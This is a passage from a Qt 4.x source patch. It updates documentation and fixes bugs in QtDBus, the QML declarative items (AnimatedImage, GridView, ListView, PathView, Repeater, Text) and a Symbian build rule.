TARGET.UID3=0x2001B2DC - # Workaroud for problems with paging this dll - MMP_RULES -= PAGED - MMP_RULES *= UNPAGED + # Problems using data exports from this DLL mean that we can't page it on releases that don't support + # data exports (currently that's any release before Symbian^3) + pagingBlock = "$${LITERAL_HASH}ifndef SYMBIAN_DLL_DATA_EXPORTS_SUPPORTED" \ + "UNPAGED" \ + "$${LITERAL_HASH}endif" + MMP_RULES += pagingBlock } diff --git a/src/corelib/global/qnamespace.qdoc b/src/corelib/global/qnamespace.qdoc index 9facad7..0a02328 100644 --- a/src/corelib/global/qnamespace.qdoc +++ b/src/corelib/global/qnamespace.qdoc @@ -1257,6 +1257,13 @@ to this top level window. This attribute has no effect on non-X11 platforms. + \value WA_LockPortraitOrientation Locks the widget to a portrait orientation, + ignoring changes to the display's orientation with respect to the user. + \value WA_LockLandscapeOrientation Locks the widget to a landscape orientation, + ignoring changes to the display's orientation with respect to the user. + \value WA_AutoOrientation Causes the widget to change orientation whenever the + display changes orientation with respect to the user. + \value WA_MacNoShadow Since Qt 4.8, this attribute disables drop shadows for this top level window. Only affects Cocoa builds of Qt for Mac OS X. diff --git a/src/corelib/kernel/qcoreapplication.cpp b/src/corelib/kernel/qcoreapplication.cpp index 26a398e..be86c58 100644 --- a/src/corelib/kernel/qcoreapplication.cpp +++ b/src/corelib/kernel/qcoreapplication.cpp @@ -472,10 +472,10 @@ QString qAppName() operations can call processEvents() to keep the application responsive. - In general, we recommend that you create a QCoreApplication or - a QApplication object in your \c main() function as early as - possible. exit() will not return until the event loop exits; - e.g., when quit() is called. + In general, we recommend that you create a QCoreApplication or a + QApplication object in your \c main() function as early as + possible. exec() will not return until the event loop exits; e.g., + when quit() is called. Several static convenience functions are also provided. The QCoreApplication object is available from instance(). Events can diff --git a/src/corelib/kernel/qmetatype.h b/src/corelib/kernel/qmetatype.h index 47d3a3b..a2bb7d1 100644 --- a/src/corelib/kernel/qmetatype.h +++ b/src/corelib/kernel/qmetatype.h @@ -138,7 +138,7 @@ template <typename T> void *qMetaTypeConstructHelper(const T *t) { if (!t) - return new T; + return new T(); return new T(*static_cast<const T*>(t)); } diff --git a/src/corelib/tools/qbytearray.cpp b/src/corelib/tools/qbytearray.cpp index cc81c1b..b281c1b 100644 --- a/src/corelib/tools/qbytearray.cpp +++ b/src/corelib/tools/qbytearray.cpp @@ -492,7 +492,7 @@ QByteArray qCompress(const uchar* data, int nbytes, int compressionLevel) #endif /*! - \fn QByteArray qUncompress(const QByteArray& data) + \fn QByteArray qUncompress(const QByteArray &data) \relates QByteArray @@ -506,10 +506,10 @@ QByteArray qCompress(const uchar* data, int nbytes, int compressionLevel) feature was added. \bold{Note:} If you want to use this function to uncompress external - data compressed using zlib, you first need to prepend four bytes to the - byte array that contain the expected length (as an unsigned integer) - of the uncompressed data encoded in big-endian order (most significant - byte first). + data that was compressed using zlib, you first need to prepend a four + byte header to the byte array containing the data. The header must + contain the expected length (in bytes) of the uncompressed data, + expressed as an unsigned, big-endian, 32-bit integer. \sa qCompress() */ diff --git a/src/corelib/tools/qeasingcurve.cpp b/src/corelib/tools/qeasingcurve.cpp index 801600a..7daf95a 100644 --- a/src/corelib/tools/qeasingcurve.cpp +++ b/src/corelib/tools/qeasingcurve.cpp @@ -92,14 +92,18 @@ animation.setEasingCurve(QEasingCurve::InOutQuad); \endcode - The ability to set an amplitude, overshoot, or period depends on the QEasingCurve type. Amplitude access - is available to curves that behave as springs such as elastic and bounce curves. Changing the amplitude changes - the height of the curve. Period access is only available to elastic curves and setting a higher period slows - the rate of bounce. Only curves that have "boomerang" behaviors such as the InBack, OutBack, InOutBack, and OutInBack - have overshoot settings. These curves will interpolate beyond the end points and return to the end point, - acting similar to a boomerang. - - The \l{Easing Curves Example} contains samples of QEasingCurve types and lets you change the curve settings. + The ability to set an amplitude, overshoot, or period depends on + the QEasingCurve type. Amplitude access is available to curves + that behave as springs such as elastic and bounce curves. Changing + the amplitude changes the height of the curve. Period access is + only available to elastic curves and setting a higher period slows + the rate of bounce. Only curves that have "boomerang" behaviors + such as the InBack, OutBack, InOutBack, and OutInBack have + overshoot settings. These curves will interpolate beyond the end + points and return to the end point, acting similar to a boomerang. + + The \l{Easing Curves Example} contains samples of QEasingCurve + types and lets you change the curve settings. */ diff --git a/src/corelib/tools/qlocale.cpp b/src/corelib/tools/qlocale.cpp index fcfa8f0..6515edb 100644 --- a/src/corelib/tools/qlocale.cpp +++ b/src/corelib/tools/qlocale.cpp @@ -2199,7 +2199,7 @@ static quint16 localePrivateIndex(const QLocalePrivate *p) /*! Constructs a QLocale object with the specified \a name, which has the format - "language[_country][.codeset][@modifier]" or "C", where: + "language[_territory][.codeset][@modifier]" or "C", where: \list \i language is a lowercase, two-letter, ISO 639 language code, diff --git a/src/corelib/tools/qset.h b/src/corelib/tools/qset.h index a8ae40c..a2a8052 100644 --- a/src/corelib/tools/qset.h +++ b/src/corelib/tools/qset.h @@ -335,7 +335,7 @@ class QMutableSetIterator typedef typename QSet<T>::iterator iterator; QSet<T> *c; iterator i, n; - inline bool item_exists() const { return n != c->constEnd(); } + inline bool item_exists() const { return c->constEnd() != n; } public: inline QMutableSetIterator(QSet<T> &container) diff --git a/src/corelib/tools/qstring.cpp b/src/corelib/tools/qstring.cpp index 95c80a1..b7272ec 100644 --- a/src/corelib/tools/qstring.cpp +++ b/src/corelib/tools/qstring.cpp @@ -658,10 +658,11 @@ const QString::Null QString::null = { }; class.) \table 100 % + \header + \o Note for C Programmers + \row \o - \section1 Note for C Programmers - Due to C++'s type system and the fact that QString is \l{implicitly shared}, QStrings may be treated like \c{int}s or other basic types. For example: @@ -3890,8 +3891,7 @@ const char *QString::latin1_helper() const If \a size is -1 (default), it is taken to be qstrlen(\a str). - QTextCodec::codecForLocale() is used to perform the conversion - from Unicode. + QTextCodec::codecForLocale() is used to perform the conversion. \sa toLocal8Bit(), fromAscii(), fromLatin1(), fromUtf8() */ diff --git a/src/dbus/qdbusintegrator.cpp b/src/dbus/qdbusintegrator.cpp index 1358524..14138e0 100644 --- a/src/dbus/qdbusintegrator.cpp +++ b/src/dbus/qdbusintegrator.cpp @@ -2074,30 +2074,20 @@ void QDBusConnectionPrivate::connectSignal(const QString &key, const SignalHook if (connection) { qDBusDebug("Adding rule: %s", hook.matchRule.constData()); - QDBusErrorInternal error; - q_dbus_bus_add_match(connection, hook.matchRule, error); - if (!!error) { - QDBusError qerror = error; - qWarning("QDBusConnectionPrivate::connectSignal: received error from D-Bus server " - "while connecting signal to %s::%s: %s (%s)", - hook.obj->metaObject()->className(), - hook.obj->metaObject()->method(hook.midx).signature(), - qPrintable(qerror.name()), qPrintable(qerror.message())); - Q_ASSERT(false); - } else { - // Successfully connected the signal - // Do we need to watch for this name? - if (shouldWatchService(hook.service)) { - WatchedServicesHash::mapped_type &data = watchedServices[hook.service]; - if (++data.refcount == 1) { - // we need to watch for this service changing - connectSignal(dbusServiceString(), QString(), dbusInterfaceString(), - QLatin1String("NameOwnerChanged"), QStringList() << hook.service, QString(), - this, SLOT(serviceOwnerChangedNoLock(QString,QString,QString))); - data.owner = getNameOwnerNoCache(hook.service); - qDBusDebug() << this << "Watching service" << hook.service << "for owner changes (current owner:" - << data.owner << ")"; - } + q_dbus_bus_add_match(connection, hook.matchRule, NULL); + + // Successfully connected the signal + // Do we need to watch for this name? + if (shouldWatchService(hook.service)) { + WatchedServicesHash::mapped_type &data = watchedServices[hook.service]; + if (++data.refcount == 1) { + // we need to watch for this service changing + connectSignal(dbusServiceString(), QString(), dbusInterfaceString(), + QLatin1String("NameOwnerChanged"), QStringList() << hook.service, QString(), + this, SLOT(serviceOwnerChangedNoLock(QString,QString,QString))); + data.owner = getNameOwnerNoCache(hook.service); + qDBusDebug() << this << "Watching service" << hook.service << "for owner changes (current owner:" + << data.owner << ")"; } } } diff --git a/src/dbus/qdbusmetaobject.cpp b/src/dbus/qdbusmetaobject.cpp index 5fe0589..6683505 100644 --- a/src/dbus/qdbusmetaobject.cpp +++ b/src/dbus/qdbusmetaobject.cpp @@ -169,6 +169,8 @@ QDBusMetaObjectGenerator::QDBusMetaObjectGenerator(const QString &interfaceName, } } +Q_DBUS_EXPORT bool qt_dbus_metaobject_skip_annotations = false; + QDBusMetaObjectGenerator::Type QDBusMetaObjectGenerator::findType(const QByteArray &signature, const QDBusIntrospection::Annotations &annotations, @@ -178,7 +180,7 @@ QDBusMetaObjectGenerator::findType(const QByteArray &signature, result.id = QVariant::Invalid; int type = QDBusMetaType::signatureToType(signature); - if (type == QVariant::Invalid) { + if (type == QVariant::Invalid && !qt_dbus_metaobject_skip_annotations) { // it's not a type normally handled by our meta type system // it must contain an annotation QString annotationName = QString::fromLatin1("com.trolltech.QtDBus.QtTypeName"); @@ -201,6 +203,20 @@ QDBusMetaObjectGenerator::findType(const QByteArray &signature, return result; // unknown type is invalid too result.name = typeName; + } else if (type == QVariant::Invalid) { + // this case is used only by the qdbus command-line tool + // invalid, let's create an impossible type that contains the signature + + if (signature == "av") { + result.name = "QVariantList"; + type = QVariant::List; + } else if (signature == "a{sv}") { + result.name = "QVariantMap"; + type = QVariant::Map; + } else { + result.name = "QDBusRawType::" + signature; + type = -1; + } } else { result.name = QVariant::typeToName( QVariant::Type(type) ); } diff --git a/src/declarative/graphicsitems/qdeclarativeanimatedimage.cpp b/src/declarative/graphicsitems/qdeclarativeanimatedimage.cpp index 27bb6a2..016b87d 100644 --- a/src/declarative/graphicsitems/qdeclarativeanimatedimage.cpp +++ b/src/declarative/graphicsitems/qdeclarativeanimatedimage.cpp @@ -221,13 +221,22 @@ void QDeclarativeAnimatedImage::setSource(const QUrl &url) } d->url = url; + emit sourceChanged(d->url); - if (url.isEmpty()) { + if (isComponentComplete()) + load(); +} + +void QDeclarativeAnimatedImage::load() +{ + Q_D(QDeclarativeAnimatedImage); + + if (d->url.isEmpty()) { delete d->_movie; d->status = Null; } else { #ifndef QT_NO_LOCALFILE_OPTIMIZED_QML - QString lf = QDeclarativeEnginePrivate::urlToLocalFileOrQrc(url); + QString lf = QDeclarativeEnginePrivate::urlToLocalFileOrQrc(d->url); if (!lf.isEmpty()) { //### should be unified with movieRequestFinished d->_movie = new QMovie(lf); @@ -235,6 +244,8 @@ void QDeclarativeAnimatedImage::setSource(const QUrl &url) qmlInfo(this) << "Error Reading Animated Image File " << d->url.toString(); delete d->_movie; d->_movie = 0; + d->status = Error; + emit statusChanged(d->status); return; } connect(d->_movie, SIGNAL(stateChanged(QMovie::MovieState)), @@ -264,7 +275,6 @@ void QDeclarativeAnimatedImage::setSource(const QUrl &url) QObject::connect(d->reply, SIGNAL(finished()), this, SLOT(movieRequestFinished())); } - emit statusChanged(d->status); } @@ -294,6 +304,8 @@ void QDeclarativeAnimatedImage::movieRequestFinished() #endif delete d->_movie; d->_movie = 0; + d->status = Error; + emit statusChanged(d->status); return; } connect(d->_movie, SIGNAL(stateChanged(QMovie::MovieState)), @@ -310,6 +322,8 @@ void QDeclarativeAnimatedImage::movieRequestFinished() if(d->paused) d->_movie->setPaused(true); d->setPixmap(d->_movie->currentPixmap()); + d->status = Ready; + emit statusChanged(d->status); } void QDeclarativeAnimatedImage::movieUpdate() @@ -336,6 +350,8 @@ void QDeclarativeAnimatedImage::componentComplete() { Q_D(QDeclarativeAnimatedImage); QDeclarativeItem::componentComplete(); // NOT QDeclarativeImage + if (d->url.isValid()) + load(); if (!d->reply) { setCurrentFrame(d->preset_currentframe); d->preset_currentframe = 0; diff --git a/src/declarative/graphicsitems/qdeclarativeanimatedimage_p.h b/src/declarative/graphicsitems/qdeclarativeanimatedimage_p.h index e5025bf..e2ed70b 100644 --- a/src/declarative/graphicsitems/qdeclarativeanimatedimage_p.h +++ b/src/declarative/graphicsitems/qdeclarativeanimatedimage_p.h @@ -97,6 +97,7 @@ private Q_SLOTS: void playingStatusChanged(); protected: + virtual void load(); void componentComplete(); private: diff --git a/src/declarative/graphicsitems/qdeclarativeborderimage.cpp b/src/declarative/graphicsitems/qdeclarativeborderimage.cpp index 3832813..c03c624 100644 --- a/src/declarative/graphicsitems/qdeclarativeborderimage.cpp +++ b/src/declarative/graphicsitems/qdeclarativeborderimage.cpp @@ -225,11 +225,13 @@ QDeclarativeBorderImage::~QDeclarativeBorderImage() image \c picture.png: \qml - border.left: 10 - border.top: 10 - border.bottom: 10 - border.right: 10 - source: picture.png + BorderImage { + border.left: 10 + border.top: 10 + border.bottom: 10 + border.right: 10 + source: "picture.png" + } \endqml The URL may be absolute, or relative to the URL of the component. @@ -363,7 +365,10 @@ void QDeclarativeBorderImage::load() the bottom of the image: \qml - border.bottom: 10 + BorderImage { + border.bottom: 10 + // ... + } \endqml The border lines can also be specified using a diff --git a/src/declarative/graphicsitems/qdeclarativeflickable.cpp b/src/declarative/graphicsitems/qdeclarativeflickable.cpp index fb7e336..2a16d21 100644 --- a/src/declarative/graphicsitems/qdeclarativeflickable.cpp +++ b/src/declarative/graphicsitems/qdeclarativeflickable.cpp @@ -373,9 +373,9 @@ void QDeclarativeFlickablePrivate::updateBeginningEnd() \section1 Example Usage - \beginfloatright + \div {float-right} \inlineimage flickable.gif - \endfloat + \enddiv The following example shows a small view onto a large image in which the user can drag or flick the image in order to view different parts of it. diff --git a/src/declarative/graphicsitems/qdeclarativegridview.cpp b/src/declarative/graphicsitems/qdeclarativegridview.cpp index 9aade98..694130b 100644 --- a/src/declarative/graphicsitems/qdeclarativegridview.cpp +++ b/src/declarative/graphicsitems/qdeclarativegridview.cpp @@ -331,8 +331,10 @@ public: } } } else if ((header && header->item == item) || (footer && footer->item == item)) { - updateHeader(); - updateFooter(); + if (header) + updateHeader(); + if (footer) + updateFooter(); } } @@ -1096,9 +1098,9 @@ void QDeclarativeGridViewPrivate::flick(AxisData &data, qreal minExtent, qreal m \snippet doc/src/snippets/declarative/gridview/ContactModel.qml 0 - \beginfloatright + \div {float-right} \inlineimage gridview-simple.png - \endfloat + \enddiv This model can be referenced as \c ContactModel in other QML files. See \l{QML Modules} for more information about creating reusable components like this. @@ -1112,9 +1114,9 @@ void QDeclarativeGridViewPrivate::flick(AxisData &data, qreal minExtent, qreal m \codeline \snippet doc/src/snippets/declarative/gridview/gridview.qml classdocs simple - \beginfloatright + \div {float-right} \inlineimage gridview-highlight.png - \endfloat + \enddiv The view will create a new delegate for each item in the model. Note that the delegate is able to access the model's \c name and \c portrait data directly. @@ -2388,24 +2390,9 @@ void QDeclarativeGridView::itemsInserted(int modelIndex, int count) Q_D(QDeclarativeGridView); if (!isComponentComplete()) return; - if (!d->visibleItems.count() || d->model->count() <= 1) { - d->scheduleLayout(); - if (d->itemCount && d->currentIndex >= modelIndex) { - // adjust current item index - d->currentIndex += count; - if (d->currentItem) - d->currentItem->index = d->currentIndex; - emit currentIndexChanged(); - } else if (!d->currentIndex || (d->currentIndex < 0 && !d->currentIndexCleared)) { - d->updateCurrent(0); - } - d->itemCount += count; - emit countChanged(); - return; - } - int index = d->mapFromModel(modelIndex); - if (index == -1) { + int index = d->visibleItems.count() ? d->mapFromModel(modelIndex) : 0; + if (index < 0) { int i = d->visibleItems.count() - 1; while (i > 0 && d->visibleItems.at(i)->index == -1) --i; @@ -2436,28 +2423,35 @@ void QDeclarativeGridView::itemsInserted(int modelIndex, int count) } } - // At least some of the added items will be visible int insertCount = count; - if (index < d->visibleIndex) { + if (index < d->visibleIndex && d->visibleItems.count()) { insertCount -= d->visibleIndex - index; index = d->visibleIndex; modelIndex = d->visibleIndex; } - index -= d->visibleIndex; int to = d->buffer+d->position()+d->size()-1; - int colPos, rowPos; - if (index < d->visibleItems.count()) { - colPos = d->visibleItems.at(index)->colPos(); - rowPos = d->visibleItems.at(index)->rowPos(); - } else { - // appending items to visible list - colPos = d->visibleItems.at(index-1)->colPos() + d->colSize(); - rowPos = d->visibleItems.at(index-1)->rowPos(); - if (colPos > d->colSize() * (d->columns-1)) { - colPos = 0; - rowPos += d->rowSize(); + int colPos = 0; + int rowPos = 0; + if (d->visibleItems.count()) { + index -= d->visibleIndex; + if (index < d->visibleItems.count()) { + colPos = d->visibleItems.at(index)->colPos(); + rowPos = d->visibleItems.at(index)->rowPos(); + } else { + // appending items to visible list + colPos = d->visibleItems.at(index-1)->colPos() + d->colSize(); + rowPos = d->visibleItems.at(index-1)->rowPos(); + if (colPos > d->colSize() * (d->columns-1)) { + colPos = 0; + rowPos += d->rowSize(); + } } + } else if (d->itemCount == 0 && d->header) { + if (d->flow == QDeclarativeGridView::LeftToRight) + rowPos = d->headerSize(); + else + colPos = d->headerSize(); } // Update the indexes of the following visible items. @@ -2510,6 +2504,8 @@ void QDeclarativeGridView::itemsInserted(int modelIndex, int count) if (d->currentItem) { d->currentItem->index = d->currentIndex; d->currentItem->setPosition(d->colPosAt(d->currentIndex), d->rowPosAt(d->currentIndex)); + } else if (!d->currentIndex || (d->currentIndex < 0 && !d->currentIndexCleared)) { + d->updateCurrent(0); } emit currentIndexChanged(); } diff --git a/src/declarative/graphicsitems/qdeclarativeitem.cpp b/src/declarative/graphicsitems/qdeclarativeitem.cpp index ac5d55c..ffef61b 100644 --- a/src/declarative/graphicsitems/qdeclarativeitem.cpp +++ b/src/declarative/graphicsitems/qdeclarativeitem.cpp @@ -829,10 +829,18 @@ void QDeclarativeKeyNavigationAttached::setFocusNavigation(QDeclarativeItem *cur This example forwards key events to two lists: \qml - ListView { id: list1 ... } - ListView { id: list2 ... } - Keys.forwardTo: [list1, list2] - focus: true + Item { + ListView { + id: list1 + // ... + } + ListView { + id: list2 + // ... + } + Keys.forwardTo: [list1, list2] + focus: true + } \endqml */ @@ -2161,13 +2169,18 @@ QDeclarativeAnchorLine QDeclarativeItemPrivate::baseline() const \o \image declarative-anchors_example.png \o Text anchored to Image, horizontally centered and vertically below, with a margin. \qml - Image { id: pic; ... } - Text { - id: label - anchors.horizontalCenter: pic.horizontalCenter - anchors.top: pic.bottom - anchors.topMargin: 5 - ... + Item { + Image { + id: pic + // ... + } + Text { + id: label + anchors.horizontalCenter: pic.horizontalCenter + anchors.top: pic.bottom + anchors.topMargin: 5 + // ... + } } \endqml \row @@ -2177,13 +2190,18 @@ QDeclarativeAnchorLine QDeclarativeItemPrivate::baseline() const property of both defaults to 0. \qml - Image { id: pic; ... } - Text { - id: label - anchors.left: pic.right - anchors.leftMargin: 5 - ... - } + Item { + Image { + id: pic + // ... + } + Text { + id: label + anchors.left: pic.right + anchors.leftMargin: 5 + // ... + } + } \endqml \endtable @@ -2505,11 +2523,15 @@ QDeclarativeListProperty<QObject> QDeclarativeItemPrivate::resources() \qml Item { - states: [ - State { ... }, - State { ... } - ... - ] + states: [ + State { + // ... + }, + State { + // ... + } + // ... + ] } \endqml @@ -2527,11 +2549,15 @@ QDeclarativeListProperty<QDeclarativeState> QDeclarativeItemPrivate::states() \qml Item { - transitions: [ - Transition { ... }, - Transition { ... } - ... - ] + transitions: [ + Transition { + // ... + }, + Transition { + // ... + } + // ... + ] } \endqml @@ -2556,11 +2582,15 @@ QDeclarativeListProperty<QDeclarativeTransition> QDeclarativeItemPrivate::transi \qml Item { - filter: [ - Blur { ... }, - Reflection { ... } - ... - ] + filter: [ + Blur { + // ... + }, + Reflection { + // ... + } + // ... + ] } \endqml */ @@ -2595,14 +2625,14 @@ QDeclarativeListProperty<QDeclarativeTransition> QDeclarativeItemPrivate::transi This property is often used in scripts to change between states. For example: - \qml - function toggle() { - if (button.state == 'On') - button.state = 'Off'; - else - button.state = 'On'; - } - \endqml + \js + function toggle() { + if (button.state == 'On') + button.state = 'Off'; + else + button.state = 'On'; + } + \endjs If the item is in its base state (i.e. no explicit state has been set), \c state will be a blank string. Likewise, you can return an diff --git a/src/declarative/graphicsitems/qdeclarativelistview.cpp b/src/declarative/graphicsitems/qdeclarativelistview.cpp index 075c3af..a60a4aa 100644 --- a/src/declarative/graphicsitems/qdeclarativelistview.cpp +++ b/src/declarative/graphicsitems/qdeclarativelistview.cpp @@ -413,8 +413,10 @@ public: } } if ((header && header->item == item) || (footer && footer->item == item)) { - updateHeader(); - updateFooter(); + if (header) + updateHeader(); + if (footer) + updateFooter(); } if (currentItem && currentItem->item == item) updateHighlight(); @@ -936,6 +938,9 @@ void QDeclarativeListViewPrivate::createSection(FxListItem *listItem) } } listItem->setPosition(pos); + } else { + QDeclarativeContext *context = QDeclarativeEngine::contextForObject(listItem->section)->parentContext(); + context->setContextProperty(QLatin1String("section"), listItem->attached->m_section); } } else if (listItem->section) { qreal pos = listItem->position(); @@ -2848,23 +2853,8 @@ void QDeclarativeListView::itemsInserted(int modelIndex, int count) return; d->updateUnrequestedIndexes(); d->moveReason = QDeclarativeListViewPrivate::Other; - if (!d->visibleItems.count() || d->model->count() <= 1) { - d->scheduleLayout(); - if (d->itemCount && d->currentIndex >= modelIndex) { - // adjust current item index - d->currentIndex += count; - if (d->currentItem) - d->currentItem->index = d->currentIndex; - emit currentIndexChanged(); - } else if (!d->currentIndex || (d->currentIndex < 0 && !d->currentIndexCleared)) { - d->updateCurrent(0); - } - d->itemCount += count; - emit countChanged(); - return; - } - int index = d->mapFromModel(modelIndex); + int index = d->visibleItems.count() ? d->mapFromModel(modelIndex) : 0; if (index < 0) { int i = d->visibleItems.count() - 1; while (i > 0 && d->visibleItems.at(i)->index == -1) @@ -2900,11 +2890,15 @@ void QDeclarativeListView::itemsInserted(int modelIndex, int count) } } - // At least some of the added items will be visible - // index can be the next item past the end of the visible items list (i.e. appended) - int pos = index < d->visibleItems.count() ? d->visibleItems.at(index)->position() + int pos = 0; + if (d->visibleItems.count()) { + pos = index < d->visibleItems.count() ? d->visibleItems.at(index)->position() : d->visibleItems.last()->endPosition()+d->spacing+1; + } else if (d->itemCount == 0 && d->header) { + pos = d->header->size(); + } + int initialPos = pos; int diff = 0; QList<FxListItem*> added; @@ -2971,6 +2965,8 @@ void QDeclarativeListView::itemsInserted(int modelIndex, int count) if (d->currentItem) { d->currentItem->index = d->currentIndex; d->currentItem->setPosition(d->currentItem->position() + diff); + } else if (!d->currentIndex || (d->currentIndex < 0 && !d->currentIndexCleared)) { + d->updateCurrent(0); } emit currentIndexChanged(); } diff --git a/src/declarative/graphicsitems/qdeclarativemousearea.cpp b/src/declarative/graphicsitems/qdeclarativemousearea.cpp index 273fc53..ffbae3f 100644 --- a/src/declarative/graphicsitems/qdeclarativemousearea.cpp +++ b/src/declarative/graphicsitems/qdeclarativemousearea.cpp @@ -216,9 +216,9 @@ QDeclarativeMouseAreaPrivate::~QDeclarativeMouseAreaPrivate() \section1 Example Usage - \beginfloatright + \div {float-right} \inlineimage qml-mousearea-snippet.png - \endfloat + \enddiv The following example uses a MouseArea in a \l Rectangle that changes the \l Rectangle color to red when clicked: diff --git a/src/declarative/graphicsitems/qdeclarativepath.cpp b/src/declarative/graphicsitems/qdeclarativepath.cpp index bc395d2..48e3f66 100644 --- a/src/declarative/graphicsitems/qdeclarativepath.cpp +++ b/src/declarative/graphicsitems/qdeclarativepath.cpp @@ -845,7 +845,7 @@ void QDeclarativePathCubic::addToPath(QPainterPath &path) \o \qml PathView { - ... + // ... Path { startX: 20; startY: 0 PathQuad { x: 50; y: 80; controlX: 0; controlY: 80 } @@ -859,7 +859,7 @@ void QDeclarativePathCubic::addToPath(QPainterPath &path) \o \qml PathView { - ... + // ... Path { startX: 20; startY: 0 PathQuad { x: 50; y: 80; controlX: 0; controlY: 80 } @@ -892,7 +892,7 @@ void QDeclarativePathCubic::addToPath(QPainterPath &path) \qml PathView { - ... + // ... Path { startX: 0; startY: 0 PathLine { x:100; y: 0; } diff --git a/src/declarative/graphicsitems/qdeclarativepathview.cpp b/src/declarative/graphicsitems/qdeclarativepathview.cpp index 64656af..1a2b480 100644 --- a/src/declarative/graphicsitems/qdeclarativepathview.cpp +++ b/src/declarative/graphicsitems/qdeclarativepathview.cpp @@ -379,14 +379,14 @@ void QDeclarativePathViewPrivate::regenerate() \l decrementCurrentIndex() or \l incrementCurrentIndex(), for example to navigate using the left and right arrow keys: - \code + \qml PathView { - ... + // ... focus: true Keys.onLeftPressed: decrementCurrentIndex() Keys.onRightPressed: incrementCurrentIndex() } - \endcode + \endqml The path view itself is a focus scope (see \l{qmlfocus#Acquiring Focus and Focus Scopes}{the focus documentation page} for more details). @@ -444,7 +444,7 @@ QDeclarativePathView::~QDeclarativePathView() Component { Rectangle { visible: PathView.onPath - ... + // ... } } \endqml @@ -706,14 +706,14 @@ void QDeclarativePathViewPrivate::setAdjustedOffset(qreal o) of the \l{PathView::onPath}{PathView.onPath} attached property to ensure that the highlight is hidden when flicked away from the path. - \code + \qml Component { Rectangle { visible: PathView.onPath - ... + // ... } } - \endcode + \endqml \sa highlightItem, highlightRangeMode */ @@ -1152,7 +1152,7 @@ void QDeclarativePathViewPrivate::handleMouseMoveEvent(QGraphicsSceneMouseEvent moveReason = QDeclarativePathViewPrivate::Mouse; qreal diff = (newPc - startPc)*modelCount*mappedRange; if (diff) { - setOffset(offset + diff); + q->setOffset(offset + diff); if (diff > modelCount/2) diff -= modelCount; diff --git a/src/declarative/graphicsitems/qdeclarativepositioners.cpp b/src/declarative/graphicsitems/qdeclarativepositioners.cpp index 4560d32..27a1301 100644 --- a/src/declarative/graphicsitems/qdeclarativepositioners.cpp +++ b/src/declarative/graphicsitems/qdeclarativepositioners.cpp @@ -364,9 +364,13 @@ void QDeclarativeBasePositioner::finishApplyTransitions() \qml Column { spacing: 2 - add: ... - move: ... - ... + add: Transition { + // Define an animation for adding a new item... + } + move: Transition { + // Define an animation for moving items within the column... + } + // ... } \endqml diff --git a/src/declarative/graphicsitems/qdeclarativerectangle.cpp b/src/declarative/graphicsitems/qdeclarativerectangle.cpp index 94db2f1..d962919 100644 --- a/src/declarative/graphicsitems/qdeclarativerectangle.cpp +++ b/src/declarative/graphicsitems/qdeclarativerectangle.cpp @@ -60,7 +60,10 @@ QT_BEGIN_NAMESPACE Example: \qml - Rectangle { border.width: 2; border.color: "red" ... } + Rectangle { + border.width: 2 + border.color: "red" + } \endqml */ @@ -131,9 +134,9 @@ void QDeclarativeGradientStop::updateGradient() \section1 Example Usage - \beginfloatright + \div {float-right} \inlineimage qml-gradient.png - \endfloat + \enddiv The following example declares a \l Rectangle item with a gradient starting with red, blending to yellow at one third of the height of the rectangle, @@ -217,9 +220,9 @@ void QDeclarativeGradient::doUpdate() \section1 Example Usage - \beginfloatright + \div {float-right} \inlineimage declarative-rect.png - \endfloat + \enddiv The following example shows the effects of some of the common properties on a Rectangle item, which in this case is used to create a square: @@ -269,9 +272,9 @@ void QDeclarativeRectangle::doUpdate() rectangle (as documented for QRect rendering). This can cause unintended effects if \c border.width is 1 and the rectangle is \l{Item::clip}{clipped} by a parent item: - \beginfloatright + \div {float-right} \inlineimage rect-border-width.png - \endfloat + \enddiv \snippet doc/src/snippets/declarative/rectangle/rect-border-width.qml 0 @@ -293,9 +296,9 @@ QDeclarativePen *QDeclarativeRectangle::border() This property allows for the construction of simple vertical gradients. Other gradients may by formed by adding rotation to the rectangle. - \beginfloatleft + \div {float-left} \inlineimage declarative-rect_gradient.png - \endfloat + \enddiv \snippet doc/src/snippets/declarative/rectangle/rectangle-gradient.qml rectangles \clearfloat @@ -361,9 +364,9 @@ void QDeclarativeRectangle::setRadius(qreal radius) The default color is white. - \beginfloatright + \div {float-right} \inlineimage rect-color.png - \endfloat + \enddiv The following example shows rectangles with colors specified using hexadecimal and named color notation: diff --git a/src/declarative/graphicsitems/qdeclarativerepeater.cpp b/src/declarative/graphicsitems/qdeclarativerepeater.cpp index 8455513..4d0f34c 100644 --- a/src/declarative/graphicsitems/qdeclarativerepeater.cpp +++ b/src/declarative/graphicsitems/qdeclarativerepeater.cpp @@ -198,7 +198,6 @@ void QDeclarativeRepeater::setModel(const QVariant &model) */ } d->dataSource = model; - emit modelChanged(); QObject *object = qvariant_cast<QObject*>(model); QDeclarativeVisualModel *vim = 0; if (object && (vim = qobject_cast<QDeclarativeVisualModel *>(object))) { @@ -226,6 +225,7 @@ void QDeclarativeRepeater::setModel(const QVariant &model) */ regenerate(); } + emit modelChanged(); emit countChanged(); } diff --git a/src/declarative/graphicsitems/qdeclarativetext.cpp b/src/declarative/graphicsitems/qdeclarativetext.cpp index 346080d..559d061 100644 --- a/src/declarative/graphicsitems/qdeclarativetext.cpp +++ b/src/declarative/graphicsitems/qdeclarativetext.cpp @@ -90,7 +90,8 @@ QString QDeclarativeTextPrivate::elideChar = QString(0x2026); QDeclarativeTextPrivate::QDeclarativeTextPrivate() : color((QRgb)0), style(QDeclarativeText::Normal), hAlign(QDeclarativeText::AlignLeft), vAlign(QDeclarativeText::AlignTop), elideMode(QDeclarativeText::ElideNone), - format(QDeclarativeText::AutoText), wrapMode(QDeclarativeText::NoWrap), lineHeight(1), lineHeightMode(QDeclarativeText::MultiplyHeight), + format(QDeclarativeText::AutoText), wrapMode(QDeclarativeText::NoWrap), lineHeight(1), + lineHeightMode(QDeclarativeText::ProportionalHeight), lineCount(1), truncated(false), maximumLineCount(INT_MAX), maximumLineCountValid(false), imageCacheDirty(true), updateOnComponentComplete(true), richText(false), singleline(false), cacheAllTextAsImage(true), internalWidthUpdate(false), requireImplicitWidth(false), naturalWidth(0), doc(0) @@ -445,7 +446,7 @@ QSize QDeclarativeTextPrivate::setupTextLayout() for (int i = 0; i < layout.lineCount(); ++i) { QTextLine line = layout.lineAt(i); line.setPosition(QPointF(0, height)); - height += (lineHeightMode == QDeclarativeText::PixelHeight) ? lineHeight : line.height() * lineHeight; + height += (lineHeightMode == QDeclarativeText::FixedHeight) ? lineHeight : line.height() * lineHeight; if (!cacheAllTextAsImage) { if ((hAlignment == QDeclarativeText::AlignLeft) || (hAlignment == QDeclarativeText::AlignJustify)) { @@ 